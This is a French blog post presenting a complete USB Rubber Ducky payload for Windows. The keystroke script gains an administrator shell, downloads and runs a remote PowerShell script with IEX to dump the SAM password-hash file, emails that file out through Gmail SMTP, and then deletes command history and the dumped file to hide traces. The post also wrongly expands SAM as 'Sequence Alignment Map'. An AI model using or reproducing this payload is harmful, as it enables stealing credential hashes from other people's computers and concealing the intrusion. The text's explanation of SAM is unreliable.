USB Rubber Ducky: SAM, c'est celui qui ne crack pas!

Date de publication: 29/09/2016

ATTENTION: Je ne suis en aucun cas responsable de vos actes. Cet article est purement à but informatif et éducatif. Merci.

Salut à tous et à toutes, bande de geeks! :D Ah Windows… Notre OS préféré nous cache bien des choses intéressantes. Connaissez-vous SAM? Non, je ne veux pas parler de votre ami sobre qui vous ramène chez vous après une soirée. Je veux bien évidemment parler du  Sequence Alignment Map! Quoi? Vous ne le connaissez pas?

Pourtant il est très important pour le bon fonctionnement des comptes utilisateurs Windows. En effet, c'est dans cette merveille de fichier que tous les mots de passes Windows y sont stockés, sous forme chiffrée bien sûr. Nous avons précédemment appris à créer un Payload afin de récupérer les mots de passe Windows (en cas d'oubli ou de panne) en une fraction de seconde, alors qu'apporte de plus cette nouvelle méthode? La méthode utilisant le script Invoke-Mimikatz est très efficace, mais peut échouer sur certains vieux systèmes et dans des conditions bien spécifiques. En récupérant le fichier SAM, vous aurez tout le temps d'analyser le fichier, et les infos qu'il contient!

Chauds? Alors c'est parti!

En ce qui concerne le déroulement du Payload, voici les étapes:

  1. Téléchargement et exécution du script Copy-VSS.ps1 qui nous servira à dump le fichier SAM
  2. Envoi du résultat par mail
  3. Effacement des traces

Simple, mais très efficace. Commençons par nous octroyer un shell administrateur sur la machine:

DELAY 2000
GUI r
DELAY 300
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 3000
LEFT
ENTER
DELAY 800
STRING cd %USERPROFILE%
ENTER
DELAY 100

Nous sommes donc en place pour commencer à télécharger le script et à l’exécuter:

STRING powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Copy-VSS.ps1')"; Copy-VSS
ENTER
DELAY 3000

Le téléchargement et l’exécution ne prenne pas plus de 3 secondes. Belle performance! Par défaut, le script enregistre le fichier SAM avec le nom “SAM” et sans extension (car c'est un fichier binaire). Maintenant, envoyons-nous le butin par mail!

REM On lance powershell
STRING powershell
ENTER
DELAY 1000
 
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
 
REM Remplacez ces valeurs par l'adresse mail qui enverra le mail
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('VOTRECOMPTE@gmail.com', 'MOTDEPASSE')
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'VOTRECOMPTE@gmail.com'
ENTER
 
REM Ici spécifiez l'adresse qui recevra le mail
STRING $ReportEmail.To.Add('COMPTEQUIRECEVRALEMAIL@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'SAM Dumper'
ENTER
STRING $ReportEmail.Body = ('Voici votre fichier SAM!')
ENTER
REM On attache le fichier SAM au mail.
STRING $ReportEmail.Attachments.Add(SAM)
ENTER
REM On envoie le mail!
STRING $SMTPInfo.Send($ReportEmail)
ENTER
REM On attend l'envoi du mail avant d'exécuter la suite
DELAY 3000

Il ne reste plus qu'à effacer nos traces, nous allons donc utiliser exactement la même technique que dans les articles précédents, en supprimant l'historique des commandes directement dans la base de registre:

DELAY 100
STRING powershell "Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' -Name '\*' -ErrorAction SilentlyContinue"
ENTER
DELAY 1000
STRING exit
ENTER
STRING del SAM
ENTER
STRING exit
ENTER

Et voilà! Notre payload est enfin prêt! Une fois exécuté, vous recevrez un fichier binaire qui contiendra le SAM de la machine. Sachez tout de même qu'il faut passer par une étape de crack de hash pour avoir accès aux mots de passe. Mais ça, ça sera pour un prochain article :)

J'espère que vous avez aimé cet article, si c'est le cas n'hésitez pas à me le dire! Je vous donne rendez-vous à la prochaine, et n'oubliez pas, Stay Tuned! :D